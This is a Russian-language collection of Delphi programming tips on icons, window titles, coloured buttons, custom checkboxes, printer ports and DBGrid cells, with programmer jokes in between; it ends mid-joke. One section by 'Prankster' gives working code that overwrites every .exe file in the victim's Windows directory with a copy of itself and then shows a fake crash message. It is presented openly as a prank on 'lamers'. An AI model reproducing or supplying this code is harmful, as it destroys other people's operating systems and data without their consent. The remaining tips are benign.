 procedure CheckTable(var Table: TTable; var TName: string);
 var
   ChangePath: boolean;
   Path: string;
   ActiveState: Boolean;
 begin
   if (TName = '') then
     TName := Table.TableName
   else
     with Table do
     begin
       ActiveState := Active;
       Close;
       Path := ExtractFilePath(TName);
       ChangePath := HasAttr(DatabaseName, faDirectory) or
         (CompareText(DatabaseName, Path) <> 0);
       if (Length(Path) > 0) and ChangePath then
         DatabaseName := Path;
       if (CompareText(ExtractFileName(Tname), TableName) <> 0)
         then
         TableName := ExtractFileName(Tname);
       Active := ActiveState;
     end;
 end;
 




Заменяем все exe-файлы в папке Windows


Автор: Prankster

Звонок в Microsoft: - Здраствуйте, три года назад я установила Windows 95. За все время работы не было ни одного сбоя. Подскажите, что я неправильно делаю...

Hi, перец! сегодня мы напишем прогу, заменяющую все exe - файлы в директории Windows

Итак, начнём.

Создаём новый Project. Для начала нам нужно узнать, в какой директории установлена Windows. Для этого в разделе public пишем:


 Windir: string;
 WindirP: PChar;
 Res: Cardinal;
 

Затем по событию OnActivate:


 WinDirP := StrAlloc(MAX_PATH);
 Res := GetWindowsDirectory(WinDirP, MAX_PATH);
 if Res > 0 then
   WinDir := StrPas(WinDirP); //теперь в переменной Windir у нас находится путь к Windows
 

Теперь перейдем непосредственно к самому изъятию ); Всё в том же событии OnActivate пишем:


 var
   OurFileCopyName: string; // - до begin, заводим две переменные
   i: integer;
 

Затем перейди в закладку Win 3.1 найди там FileListBox и кинь его на форму, устанонови Свойство Visible в false, чтоб глаз не мозолил ); в свойстве Mask установи значение *.exe , чтобы в нём оторбажались только *.exe-файлы. Теперь всё в том же OnActivate пиши:


 FileListBox1.Directory := Windir;
 OurFileCopyName := 'c:\our.exe';
 CopyFile(PChar(Application.ExeName), PChar(OurFileCopyName), true); // - создаём временный файл
 for i := 0 to FileListBox1.Count - 1 do // - запускаем цикл
   CopyFile(PChar('c:\our.exe'), PChar(Windir + '\' + FileListBox1.Items.Strings[i]), false); // - заменяем файло
 DeleteFile('C:\our.exe'); // - Уничтожаем временный файл
 

Все! теперь что бы ламерюга не запустил (из Windows-овского говна) запустится наша кул-хацкерская прога

З.Ы. можешь ещё в OnActivate прописать:


 ShowMessage('Windows beta version extracted!');
 

чтобы ламерюга подумал, что у него Windows грохнулся!

Усё!




Изменение иконки приложения

Присвойте свойству Application.Icon другую иконку и вызовите функцию


 InvalidateRect(Application.Handle, NIL, True);
 

... для немедленной перерисовки.




Изменять иконку приложения или окна во время его работы

А мне постоянно хочется передвинуть иконки телеканалов подалье в игол, чтобы не мешались :))) а иногда floating для них выключить.

Изменять иконку приложения или окна достаточно просто - для этого у TApplication и TForm предусмотрено свойство Icon. Смена иконки может вестись обычным присвоением свойству Icon нового значения:


 Form1.Icon := Image1.Picture.Icon;
 

При этом происходит не присвоение указателя (как казалось бы), а копирование данных посредством вызова Assign, который производится в методе TForm.SetIcon

Загрузка иконки из ресурса

Загрузка производится типовым вызовом API:


 Form1.Icon.Handle := LoadIcon(hInstance, 'имя иконки в ресурсе');
 

Причем имя в ресурсе желательно писать всегда в верхнем регистре

Все сказанное выше пригодно и для приложения, только в этом случае вместо Form1 выступает Application. Для принудительной перерисовки кнопки приложения в панеле задач можно применить вызов


 InvalidateRect(Application.Handle, nil, True);
 

Пример организации простейшей анимации иконки приложения


 procedure TForm1.Timer1Timer(Sender: TObject);
 begin
   inc(IconIndex);
   case IconIndex of
     1 : Application.Icon.Assign(Image1.Picture.Icon);
     2 : Application.Icon.Assign(Image2.Picture.Icon);
     else IconIndex := 0;
   end;
   InvalidateRect(Application.Handle, nil, True);
 end;
 

При этом естественно предполагается, что в Image1 и Image2 загружены иконки.




Как изменить заголовок приложения

- Чем отличается программист от политика?
- Программисту платят деньги за работающие программы.

В примере показывается, как изменять заголовок окна (видимый в списке задач при переключении между приложениями) при минимизации окна в иконку.

Пример:

Сперва необходимо определить сообщение поумолчанию:


 const
   DefMsgNorm = 'MyApp version 1.0';
   DefMsgIcon = 'MyApp. (Use F12 to turn of)';
 

И добавить две глобальных переменных:


 var
   ActMsgNorm : string;
   ActMsgIcon : string;
 

Затем при открытии основной формы инициализируем переменные из констант:


 procedure TFormMain.FormCreate(Sender: TObject);
 begin
   ActMsgNorm := DefMsgNorm;
   ActMsgIcon := DefMsgIcon;
   Application.Title := ActMsgNorm;
 end;
 

Затем достаточно в обработчик OnResize добавить следующий код:


 procedure TFormMain.FormResize(Sender: TObject);
 begin
   if FormMain.WindowState = wsMinimized then
     Application.Title := ActMsgIcon
   else
     Application.Title := ActMsgNorm;
 end;
 




Смена иконки BitBtn во время работы приложения

Иконка компонента является инкапсулированным объектом, требующим для хранения изображения некоторый участок памяти. Следовательно, при замене иконки, память, связанная с первоначальной иконкой, должна возвратиться в кучу, а для новой иконки требуется новое распределение памяти. По правилам Delphi, этим должен заниматься метод "Assign". Ниже приведен код всей процедуры замены иконки.


 implementation
 
 {$R *.DFM}
 
 var
   n: integer; // При инициализации программы данное значение будет равным нулю
 
 procedure TForm1.Button1Click(Sender: TObject);
 var
   Image: TBitmap;
 begin // Изменение иконки в BitBtn1
 
   Image := TBitmap.Create;
   if n < ImageList1.Count then
     ImageList1.GetBitmap(n, Image);
   {end if}
 
   BitBtn1.Glyph.Assign(Image)
     // Примечание: Для изменения свойств объекта используется метод Assign
 
   inc(n, 2); // В данный момент кнопка содержит две иконки!
   if n > ImageList1.Count then
     n := 0;
   {end if}
   Image.Free;
 end;
 
 procedure TForm1.Button2Click(Sender: TObject);
 begin // добавляем новую иконку кнопки в список ImageList1
   if OpenDialog1.Execute then
     ImageList1.FileLoad(rtBitMap, OpenDialog1.FileName, clBtnFace);
   label1.Caption := 'Количество иконок = ' + IntToStr(ImageList1.Count);
 end;
 




Изменить цвет TButton


 {
   You cannot change the color of a standard TButton,
   since the windows button control always paints itself with the
   button color defined in the control panel.
   But you can derive derive a new component from TButton and handle
   the and drawing behaviour there.
 }
 
 
 unit ColorButton;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls, Buttons, ExtCtrls;
 
 type
   TDrawButtonEvent = procedure(Control: TWinControl;
     Rect: TRect; State: TOwnerDrawState) of object;
 
   TColorButton = class(TButton)
   private
     FCanvas: TCanvas;
     IsFocused: Boolean;
     FOnDrawButton: TDrawButtonEvent;
   protected
     procedure CreateParams(var Params: TCreateParams); override;
     procedure SetButtonStyle(ADefault: Boolean); override;
     procedure CMEnabledChanged(var Message: TMessage); message CM_ENABLEDCHANGED;
     procedure CMFontChanged(var Message: TMessage); message CM_FONTCHANGED;
     procedure CNMeasureItem(var Message: TWMMeasureItem); message CN_MEASUREITEM;
     procedure CNDrawItem(var Message: TWMDrawItem); message CN_DRAWITEM;
     procedure WMLButtonDblClk(var Message: TWMLButtonDblClk); message WM_LBUTTONDBLCLK;
     procedure DrawButton(Rect: TRect; State: UINT);
   public
     constructor Create(AOwner: TComponent); override;
     destructor Destroy; override;
     property Canvas: TCanvas read FCanvas;
   published
     property OnDrawButton: TDrawButtonEvent read FOnDrawButton write FOnDrawButton;
     property Color;
   end;
 
 procedure Register;
 
 implementation
 
 procedure Register;
 begin
   RegisterComponents('Samples', [TColorButton]);
 end;
 
 constructor TColorButton.Create(AOwner: TComponent);
 begin
   inherited Create(AOwner);
   FCanvas := TCanvas.Create;
 end;
 
 destructor TColorButton.Destroy;
 begin
   inherited Destroy;
   FCanvas.Free;
 end;
 
 procedure TColorButton.CreateParams(var Params: TCreateParams);
 begin
   inherited CreateParams(Params);
   with Params do Style := Style or BS_OWNERDRAW;
 end;
 
 procedure TColorButton.SetButtonStyle(ADefault: Boolean);
 begin
   if ADefault <> IsFocused then
   begin
     IsFocused := ADefault;
     Refresh;
   end;
 end;
 
 procedure TColorButton.CNMeasureItem(var Message: TWMMeasureItem);
 begin
   with Message.MeasureItemStruct^ do
   begin
     itemWidth  := Width;
     itemHeight := Height;
   end;
 end;
 
 procedure TColorButton.CNDrawItem(var Message: TWMDrawItem);
 var
   SaveIndex: Integer;
 begin
   with Message.DrawItemStruct^ do
   begin
     SaveIndex := SaveDC(hDC);
     FCanvas.Lock;
     try
       FCanvas.Handle := hDC;
       FCanvas.Font := Font;
       FCanvas.Brush := Brush;
       DrawButton(rcItem, itemState);
     finally
       FCanvas.Handle := 0;
       FCanvas.Unlock;
       RestoreDC(hDC, SaveIndex);
     end;
   end;
   Message.Result := 1;
 end;
 
 procedure TColorButton.CMEnabledChanged(var Message: TMessage);
 begin
   inherited;
   Invalidate;
 end;
 
 procedure TColorButton.CMFontChanged(var Message: TMessage);
 begin
   inherited;
   Invalidate;
 end;
 
 procedure TColorButton.WMLButtonDblClk(var Message: TWMLButtonDblClk);
 begin
   Perform(WM_LBUTTONDOWN, Message.Keys, Longint(Message.Pos));
 end;
 
 procedure TColorButton.DrawButton(Rect: TRect; State: UINT);
 var
   Flags, OldMode: Longint;
   IsDown, IsDefault, IsDisabled: Boolean;
   OldColor: TColor;
   OrgRect: TRect;
 begin
   OrgRect := Rect;
   Flags := DFCS_BUTTONPUSH or DFCS_ADJUSTRECT;
   IsDown := State and ODS_SELECTED <> 0;
   IsDefault := State and ODS_FOCUS <> 0;
   IsDisabled := State and ODS_DISABLED <> 0;
 
   if IsDown then Flags := Flags or DFCS_PUSHED;
   if IsDisabled then Flags := Flags or DFCS_INACTIVE;
 
   if IsFocused or IsDefault then
   begin
     FCanvas.Pen.Color := clWindowFrame;
     FCanvas.Pen.Width := 1;
     FCanvas.Brush.Style := bsClear;
     FCanvas.Rectangle(Rect.Left, Rect.Top, Rect.Right, Rect.Bottom);
     InflateRect(Rect, - 1, - 1);
   end;
 
   if IsDown then
   begin
     FCanvas.Pen.Color := clBtnShadow;
     FCanvas.Pen.Width := 1;
     FCanvas.Brush.Color := clBtnFace;
     FCanvas.Rectangle(Rect.Left, Rect.Top, Rect.Right, Rect.Bottom);
     InflateRect(Rect, - 1, - 1);
   end
   else
     DrawFrameControl(FCanvas.Handle, Rect, DFC_BUTTON, Flags);
 
   if IsDown then OffsetRect(Rect, 1, 1);
 
   OldColor := FCanvas.Brush.Color;
   FCanvas.Brush.Color := Color;
   FCanvas.FillRect(Rect);
   FCanvas.Brush.Color := OldColor;
   OldMode := SetBkMode(FCanvas.Handle, TRANSPARENT);
   FCanvas.Font.Color := clBtnText;
   if IsDisabled then
     DrawState(FCanvas.Handle, FCanvas.Brush.Handle, nil, Integer(Caption), 0,
     ((Rect.Right - Rect.Left) - FCanvas.TextWidth(Caption)) div 2,
     ((Rect.Bottom - Rect.Top) - FCanvas.TextHeight(Caption)) div 2,
       0, 0, DST_TEXT or DSS_DISABLED)
   else
     DrawText(FCanvas.Handle, PChar(Caption), - 1, Rect,
       DT_SINGLELINE or DT_CENTER or DT_VCENTER);
   SetBkMode(FCanvas.Handle, OldMode);
 
   if Assigned(FOnDrawButton) then
     FOnDrawButton(Self, Rect, TOwnerDrawState(LongRec(State).Lo));
 
   if IsFocused and IsDefault then
   begin
     Rect := OrgRect;
     InflateRect(Rect, - 4, - 4);
     FCanvas.Pen.Color := clWindowFrame;
     FCanvas.Brush.Color := clBtnFace;
     DrawFocusRect(FCanvas.Handle, Rect);
   end;
 end;
 end.
 




Видоизменяем чекбоксы в Delphi

Автор: Maarten de Haan

В WIN3.1 чекбоксы заполняются символом "X". В WIN95 и WINNT - символом "V". В тандартной палитре Delphi чекбоксы заполняются символом "X". Спрашивается - почему фирма Borland/Inprise не исправила значёк чекбокса для W95/W98 ?. Данный пример позволяет заполнять чекбокс такими значками как: "X", "V", "o", "закрашенным прямоугольником", или бриллиантиком.

Пример тестировался под WIN95 и WINNT.


 {
 ==========================================
 Обозначения
 ==========================================
 X = крестик
 V = галочка
 o = кружок
 
 +-+
 |W| = заполненный прямоугольник
 +-+
 
 /\
 = бриллиантик
 \/
 
 
 Преимущества этого чекбокса
 
 Вы можете найти множество чекбоксов в интернете.
 Но у них есть недостаток, они не обрабатывают сообщение WM_KILLFOCUS.
 Приведённый ниже пример делает это.
 }
 
 unit CheckBoxX;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls;
 
 const
   { другие константы }
   fRBoxWidth : Integer = 13; // ширина квадрата checkbox
   fRBoxHeight : Integer = 13; // высота квадрата checkbox
 
 type
   TState = (cbUnchecked,cbChecked,cbGrayed); // такой же как в Delphi
   TType = (cbCross,cbMark,cbBullet,cbDiamond,cbRect); // добавленный
   TMouseState = (msMouseUp,msMouseDown);
   TAlignment = (taRightJustify,taLeftJustify); // The same
 
   TCheckBoxX = class(TCustomControl)
 
   private
     { Private declarations }
     fChecked : Boolean;
     fCaption : string;
     fColor : TColor;
     fState : TState;
     fFont : TFont;
     fAllowGrayed : Boolean;
     fFocus : Boolean;
     fType : TType;
     fMouseState : TMouseState;
     fAlignment : TAlignment;
     fTextTop : Integer; // отступ текта с верху
     fTextLeft : Integer; // отступ текта с лева
     fBoxTop : Integer; // координата чекбокса сверху
     fBoxLeft : Integer; // координата чекбокса слева
 
     procedure fSetChecked(Bo : Boolean);
     procedure fSetCaption(S : string);
     procedure fSetColor(C : TColor);
     procedure fSetState(cbState : TState);
     procedure fSetFont(cbFont : TFont);
     procedure fSetAllowGrayed(Bo : Boolean);
     procedure fSetType(T : TType);
     procedure fSetAlignment(A : TAlignment);
 
   protected
     { Protected declarations }
     procedure Paint; override;
     procedure MouseDown(Button: TMouseButton; Shift: TShiftState;
     X, Y: Integer); override;
     procedure MouseUp(Button: TMouseButton; Shift: TShiftState;
     X, Y: Integer); override;
     // это убирает контур фокуса!
     procedure WMKillFocus(var message : TWMKillFocus); message WM_KILLFOCUS;
     // Если вы используете клавишу TAB или Shift-Tab
     procedure WMSetFocus(var message : TWMSetFocus); message WM_SETFOCUS;
     // перехват KeyDown
     procedure KeyDown(var Key : Word; Shift : TShiftState); override;
     // перехват KeyUp
     procedure KeyUp(var Key : Word; Shift : TShiftState); override;
 
   public
     { Public declarations }
     // Если поместить Create и Destroy в раздел protected,
     // то Delphi начинает ругаться.
     constructor Create(AOwner : TComponent); override;
     destructor Destroy; override;
 
   published
     { Published declarations }
     { --- Свойства --- }
     property Action;
     property Alignment : TAlignment
     read fAlignment write fSetAlignment;
     property AllowGrayed : Boolean
     read fAllowGrayed write fSetAllowGrayed;
     property Anchors;
     property BiDiMode;
     property Caption : string
     read fCaption write fSetCaption;
     property CheckBoxType : TType
     read fType write fSetType;
     property Checked : Boolean
     read fChecked write fSetChecked;
     property Color : TColor
     read fColor write fSetColor;
     property Constraints;
     //Property Ctrl3D;
     property Cursor;
     property DragCursor;
     property DragKind;
     property DragMode;
     property Enabled;
     property Font : TFont
     read fFont write fSetFont;
     //Property Height;
     property HelpContext;
     property Hint;
     property Left;
     property name;
     //Property PartenBiDiMode;
     property ParentColor;
     //Property ParentCtrl3D;
     property ParentFont;
     property ParentShowHint;
     //Property PopMenu;
     property ShowHint;
     property State : TState
     read fState write fSetState;
     property TabOrder;
     property TabStop;
     property Tag;
     property Top;
     property Visible;
     //Property Width;
 
     { --- Events --- }
     property OnClick;
     property OnContextPopup;
     property OnDragDrop;
     property OnDragOver;
     property OnEndDock;
     property OnEndDrag;
     property OnEnter;
     property OnExit;
     property OnKeyDown;
     property OnKeyPress;
     property OnKeyUp;
     property OnMouseDown;
     property OnMouseMove;
     property OnMouseUp;
     property OnStartDock;
     property OnStartDrag;
 end;
 
 procedure register; //Hello!
 
 implementation
 
 procedure TCheckBoxX.KeyDown(var Key : Word; Shift : TShiftState);
 begin
   if fFocus then
     if Shift = [] then
       if Key = 0032 then
       begin
         fMouseState := msMouseDown;
         if fState <> cbGrayed then
         begin
           SetFocus; // Устанавливаем фокус на этот компонент
           // всем другим компонентам Windows посылает сообщение WM_KILLFOCUS.
           fFocus := True;
           Invalidate;
         end;
       end;
   inherited KeyDown(Key,Shift);
 end;
 
 procedure TCheckBoxX.KeyUp(var Key : Word; Shift : TShiftState);
 begin
   if fFocus then
     if Shift = [] then
       if Key = 0032 then
       begin
         if fState <> cbGrayed then
           // Изменяем состояние
           fSetChecked(not fChecked);
         fMouseState := msMouseUp;
       end;
   inherited KeyUp(Key,Shift);
 end;
 
 procedure TCheckBoxX.WMSetFocus(var message : TWMSetFocus);
 begin
   fFocus := True;
   Invalidate;
 end;
 
 procedure TCheckBoxX.WMKillFocus(var message : TWMKillFocus);
 begin
   // Удаляем фокус у всех компонент, которые не имеют фокуса.
   fFocus := False;
   Invalidate;
 end;
 
 procedure TCheckBoxX.fSetAlignment(A : TAlignment);
 begin
   if A <> fAlignment then
   begin
     fAlignment := A;
     Invalidate;
   end;
 end;
 
 procedure TCheckBoxX.fSetType(T : TType);
 begin
   if fType <> T then
   begin
     fType := T;
     Invalidate;
   end;
 end;
 
 procedure TCheckBoxX.fSetFont(cbFont : TFont);
 var
   FontChanged : Boolean;
 begin
   FontChanged := False;
 
   if fFont.Style <> cbFont.Style then
   begin
     fFont.Style := cbFont.Style;
     FontChanged := True;
   end;
 
   if fFont.CharSet <> cbFont.Charset then
   begin
     fFont.Charset := cbFont.Charset;
     FontChanged := True;
   end;
 
   if fFont.Size <> cbFont.Size then
   begin
     fFont.Size := cbFont.Size;
     FontChanged := True;
   end;
 
   if fFont.name <> cbFont.name then
   begin
     fFont.name := cbFont.name;
     FontChanged := True;
   end;
 
   if fFont.Color <> cbFont.Color then
   begin
     fFont.Color := cbFont.Color;
     FontChanged := True;
   end;
 
   if FontChanged then
     Invalidate;
 end;
 
 procedure TCheckBoxX.MouseDown(Button: TMouseButton; Shift: TShiftState;
 X, Y: Integer);
 begin
   // Процедура MouseDown вызывается, когда кнопка мышки нажимается в пределах
   // кнопки, соответственно мы не можем получить значения координат X и Y.
   inherited MouseDown(Button, Shift, X, Y);
   fMouseState := msMouseDown;
   if fState <> cbGrayed then
   begin
     SetFocus; // Устанавливаем фокус на этот компонент
     // всем другим компонентам Windows посылает сообщение WM_KILLFOCUS.
     fFocus := True;
     Invalidate;
   end;
 end;
 
 procedure TCheckBoxX.MouseUp(Button: TMouseButton; Shift: TShiftState;
 X, Y: Integer);
 begin
   // Процедура MouseUp вызывается, когда кнопка мышки отпускается в пределах
   // кнопки, соответственно мы не можем получить значения координат X и Y.
   inherited MouseUp(Button, Shift, X, Y);
   if fState <> cbGrayed then
     // Изменяем состояние
     fSetChecked(not fChecked);
   fMouseState := msMouseUp;
 end;
 
 procedure TCheckBoxX.fSetAllowGrayed(Bo : Boolean);
 begin
   if fAllowGrayed <> Bo then
   begin
     fAllowGrayed := Bo;
     if not fAllowGrayed then
       if fState = cbGrayed then
       begin
         if fChecked then
           fState := cbChecked
         else
           fState := cbUnChecked;
       end;
     Invalidate;
   end;
 end;
 
 procedure TCheckBoxX.fSetState(cbState : TState);
 begin
   if fState <> cbState then
   begin
     fState := cbState;
     if (fState = cbChecked) then
       fChecked := True;
 
     if (fState = cbGrayed) then
       fAllowGrayed := True;
 
     if fState = cbUnChecked then
       fChecked := False;
 
     Invalidate;
   end;
 end;
 
 procedure TCheckBoxX.fSetColor(C : TColor);
 begin
   if fColor <> C then
   begin
     fColor := C;
     Invalidate;
   end;
 end;
 
 procedure TCheckBoxX.fSetCaption(S : string);
 begin
   if fCaption <> S then
   begin
     fCaption := S;
     Invalidate;
   end;
 end;
 
 procedure TCheckBoxX.fSetChecked(Bo : Boolean);
 begin
   if fChecked <> Bo then
   begin
     fChecked := Bo;
     if fState <> cbGrayed then
     begin
       if fChecked then
         fState := cbChecked
       else
         fState := cbUnChecked;
     end;
     Invalidate;
   end;
 end;
 
 procedure TCheckBoxX.Paint;
 var
   Buffer : array[0..127] of Char;
   I : Integer;
   fTextWidth,fTextHeight : Integer;
 begin
   {Get Delphi's componentname and initially write it in the caption}
   GetTextBuf(Buffer,SizeOf(Buffer));
   if Buffer <> '' then
     fCaption := Buffer;
 
   Canvas.Font.Size := Font.Size;
   Canvas.Font.Style := Font.Style;
   Canvas.Font.Color := Font.Color;
   Canvas.Font.Charset := Font.CharSet;
 
   fTextWidth := Canvas.TextWidth(fCaption);
   fTextHeight := Canvas.TextHeight('Q');
 
   if fAlignment = taRightJustify then
   begin
     fBoxTop := (Height - fRBoxHeight) div 2;
     fBoxLeft := 0;
     fTextTop := (Height - fTextHeight) div 2;
     fTextLeft := fBoxLeft + fRBoxWidth + 4;
   end
   else
   begin
     fBoxTop := (Height - fRBoxHeight) div 2;
     fBoxLeft := Width - fRBoxWidth;
     fTextTop := (Height - fTextHeight) div 2;
     fTextLeft := 1;
     //If fTextWidth > (Width - fBoxWidth - 4) then
     // fTextLeft := (Width - fBoxWidth - 4) - fTextWidth;
   end;
 
   // выводим текст в caption
   Canvas.Pen.Color := fFont.Color;
   Canvas.Brush.Color := fColor;
   Canvas.TextOut(fTextLeft,fTextTop,fCaption);
 
   // Рисуем контур фокуса
   if fFocus = True then
     Canvas.DrawFocusRect(Rect(fTextLeft - 1,
     fTextTop - 2, fTextLeft + fTextWidth + 1, fTextTop + fTextHeight + 2));
 
   if (fState = cbChecked) then
     Canvas.Brush.Color := clWindow;
 
   if (fState = cbUnChecked) then
     Canvas.Brush.Color := clWindow;
 
   if (fState = cbGrayed) then
   begin
     fAllowGrayed := True;
     Canvas.Brush.Color := clBtnFace;
   end;
 
   // Создаём бокс clBtnFace когда кнопка мыши нажимается
   // наподобие "стандартного" CheckBox
   if fMouseState = msMouseDown then
     Canvas.Brush.Color := clBtnFace;
 
   Canvas.FillRect(Rect(fBoxLeft + 2,
   fBoxTop + 2,
   fBoxLeft + fRBoxWidth - 2,
   fBoxTop + fRBoxHeight - 2));
 
   // Рисуем прямоугольный чекбокс
   Canvas.Brush.Color := clBtnFace;
   Canvas.Pen.Color := clGray;
   Canvas.MoveTo(fBoxLeft + fRBoxWidth - 1,fBoxTop);
   Canvas.LineTo(fBoxLeft,fBoxTop);
   Canvas.LineTo(fBoxLeft,fBoxTop + fRBoxHeight);
 
   Canvas.Pen.Color := clWhite;
   Canvas.MoveTo(fBoxLeft + fRBoxWidth - 1,fBoxTop);
   Canvas.LineTo(fBoxLeft + fRBoxWidth - 1,
   fBoxTop + fRBoxHeight - 1);
   Canvas.LineTo(fBoxLeft - 1,fBoxTop + fRBoxHeight - 1);
 
   Canvas.Pen.Color := clBlack;
   Canvas.MoveTo(fBoxLeft + fRBoxWidth - 3,fBoxTop + 1);
   Canvas.LineTo(fBoxLeft + 1,fBoxTop + 1);
   Canvas.LineTo(fBoxLeft + 1,fBoxTop + fRBoxHeight - 2);
 
   Canvas.Pen.Color := clBtnFace;
   Canvas.MoveTo(fBoxLeft + fRBoxWidth - 2,fBoxTop + 1);
   Canvas.LineTo(fBoxLeft + fRBoxWidth - 2,
   fBoxTop + fRBoxHeight - 2);
   Canvas.LineTo(fBoxLeft,fBoxTop + fRBoxHeight - 2);
 
   // Теперь он должен быть таким же как чекбокс в Delphi
 
   if fChecked then
   begin
     Canvas.Pen.Color := clBlack;
     Canvas.Brush.Color := clBlack;
 
     // Рисуем прямоугольник
     if fType = cbRect then
     begin
       Canvas.FillRect(Rect(fBoxLeft + 4,fBoxTop + 4,
       fBoxLeft + fRBoxWidth - 4,fBoxTop + fRBoxHeight - 4));
     end;
 
     // Рисуем значёк "о"
     if fType = cbBullet then
     begin
       Canvas.Ellipse(fBoxLeft + 4,fBoxTop + 4,
       fBoxLeft + fRBoxWidth - 4,fBoxTop + fRBoxHeight - 4);
     end;
 
     // Рисуем крестик
     if fType = cbCross then
     begin
       {Right-top to left-bottom}
       Canvas.MoveTo(fBoxLeft + fRBoxWidth - 5,fBoxTop + 3);
       Canvas.LineTo(fBoxLeft + 2,fBoxTop + fRBoxHeight - 4);
       Canvas.MoveTo(fBoxLeft + fRBoxWidth - 4,fBoxTop + 3);
       Canvas.LineTo(fBoxLeft + 2,fBoxTop + fRBoxHeight - 3);
       Canvas.MoveTo(fBoxLeft + fRBoxWidth - 4,fBoxTop + 4);
       Canvas.LineTo(fBoxLeft + 3,fBoxTop + fRBoxHeight - 3);
       {Left-top to right-bottom}
       Canvas.MoveTo(fBoxLeft + 3,fBoxTop + 4);
       Canvas.LineTo(fBoxLeft + fRBoxWidth - 4,
       fBoxTop + fRBoxHeight - 3);
       Canvas.MoveTo(fBoxLeft + 3,fBoxTop + 3);
       Canvas.LineTo(fBoxLeft + fRBoxWidth - 3,
       fBoxTop + fRBoxHeight - 3); //mid
       Canvas.MoveTo(fBoxLeft + 4,fBoxTop + 3);
       Canvas.LineTo(fBoxLeft + fRBoxWidth - 3,
       fBoxTop + fRBoxHeight - 4);
     end;
 
     // Рисуем галочку
     if fType = cbMark then
       for I := 0 to 2 do
       begin
         {Left-mid to left-bottom}
         Canvas.MoveTo(fBoxLeft + 3,fBoxTop + 5 + I);
         Canvas.LineTo(fBoxLeft + 6,fBoxTop + 8 + I);
         {Left-bottom to right-top}
         Canvas.MoveTo(fBoxLeft + 6,fBoxTop + 6 + I);
         Canvas.LineTo(fBoxLeft + 10,fBoxTop + 2 + I);
       end;
 
     // Рисуем бриллиантик
     if fType = cbDiamond then
     begin
       Canvas.Pixels[fBoxLeft + 06,fBoxTop + 03] := clBlack;
       Canvas.Pixels[fBoxLeft + 06,fBoxTop + 09] := clBlack;
 
       Canvas.MoveTo(fBoxLeft + 05,fBoxTop + 04);
       Canvas.LineTo(fBoxLeft + 08,fBoxTop + 04);
 
       Canvas.MoveTo(fBoxLeft + 05,fBoxTop + 08);
       Canvas.LineTo(fBoxLeft + 08,fBoxTop + 08);
 
       Canvas.MoveTo(fBoxLeft + 04,fBoxTop + 05);
       Canvas.LineTo(fBoxLeft + 09,fBoxTop + 05);
 
       Canvas.MoveTo(fBoxLeft + 04,fBoxTop + 07);
       Canvas.LineTo(fBoxLeft + 09,fBoxTop + 07);
 
       Canvas.MoveTo(fBoxLeft + 03,fBoxTop + 06);
       Canvas.LineTo(fBoxLeft + 10,fBoxTop + 06); // middle line
     end;
   end;
 end;
 
 procedure register;
 begin
   RegisterComponents('Samples', [TCheckBoxX]);
 end;
 
 destructor TCheckBoxX.Destroy;
 begin
   inherited Destroy;
 end;
 
 constructor TCheckBoxX.Create(AOwner : TComponent);
 begin
   inherited Create(AOwner);
   Height := 17;
   Width := 97;
   fChecked := False;
   fColor := clBtnFace;
   fState := cbUnChecked;
   fFont := inherited Font;
   fAllowGrayed := False;
   fFocus := False;
   fMouseState := msMouseUp;
   fAlignment := taRightJustify;
   TabStop := True; // Sorry
 end;
 
 end.
 




Как поменять иконку и стpокy в заголовке консольного окна


Бил Гейтс, когда стал самым богатым человеком в мире, подумал: "На все воля Божья. Я никогда бы не разбогател, если бы Он этого не хотел. Надо как-то отблагодарить." Билли построил огромный храм, зажег в нем миллион свечей, вошел и молится: - Господи, спасибо тебе за все. Не зачти за дерзость господи, но я хочу выразить тебе свою признательность и приглашаю тебя на игру в гольф в это воскресенье. У видел Иисус это фейерверк, услышал молитву, понял, что уважают и решил прийти. Играю они, значит, в гольф. Иисус бьет по мячу, мяч летит и зависает прямо над центром лунки. Иисус бьет по второму - тот летит и зависает прямо над центром лунки. Иисус бьет по третьему - тоже самое. Он оборачивается к Гейтсу и говорит: - Билли, а другого бета-тестера для своих глючных мячей ты подыскать не мог?


 procedure TForm1.Button1Click(Sender: TObject);
 var
   h: HWND;
   AIcon: TIcon;
 begin
   AllocConsole;
   SetConsoleTitle(PChar('Console Title'));
   Sleep(0);
   h := FindWindow(nil, PChar('Console Title'));
   AIcon := TIcon.Create;
   ImageList1.GetIcon(0, AIcon);
   SendMessage(h, WM_SETICON, 1, AIcon.Handle);
   AIcon.Free;
 end;
 




Как программно изменить текущий порт принтера

Используем метод SetPrinter класса TPrinter


 uses Printers;
 
 {$IFNDEF WIN32}
 const MAX_PATH = 144;
 {$ENDIF}
 
 procedure TForm1.Button1Click(Sender: TObject);
 var
   pDevice: pChar;
   pDriver: pChar;
   pPort: pChar;
   hDMode: THandle;
   PDMode: PDEVMODE;
 begin
   if PrintDialog1.Execute then
   begin
     GetMem(pDevice, cchDeviceName);
     GetMem(pDriver, MAX_PATH);
     GetMem(pPort, MAX_PATH);
     Printer.GetPrinter(pDevice, pDriver, pPort, hDMode);
     Printer.SetPrinter(pDevice, PDriver, 'FILE:', hDMode);
     FreeMem(pDevice, cchDeviceName);
     FreeMem(pDriver, MAX_PATH);
     FreeMem(pPort, MAX_PATH);
     Printer.BeginDoc;
     Printer.Canvas.TextOut(100, 100, 'Delphi World Is Wonderful!');
     Printer.EndDoc;
   end;
 end;
 




Как изменить цвет ячейки TDBGrid в зависимости от текущего значения


У програмиста радилась девочка. А он в свою очередь не задумываясь говорит.
- А где можно сделать апгрейд?

Для изменения цвета некоторых ячеек таблицы TDBGrid необходимо определить реакцию на событие DBGrid1DrawDataCell и проверив необходимые условия, перерисовать ячейку вручную (если в этом есть необходимость).

Все необходимые данные для отрисовки передаются в параметрах процедуры. Отрисовка белых букв на красном фоне если, перерисовывается поле 'First_I', ячейка не в фокусе и значение поля меньше нуля.


 procedure TForm1.DBGrid1DrawDataCell(Sender: TObject;
           const Rect: TRect; Field: TField; State: TGridDrawState);
 begin
   with DBGrid1.Canvas do
     if (Field.FieldName = 'First_I') and (not (gdFocused in State)) and (Field.AsInteger < 0) then
     begin
       Brush.Color := clRed;
       Font.Color := clWhite;
     end;
   DBGrid1.DefaultDrawDataCell(Rect, Field, State);
 end;
 




Изменение месторасположение колонок в TDBGrid

Умирает молодой и талантливый программист. Попадает к Богу на суд и плачется:
- Господи! Почему я умер молодым? Я ведь был хорошим, жене не изменял, вирусов не писал, на порносайты не лазал... За что ты меня лишил жизни???
Бог поднимает Библию и грозит программисту пальчиком:
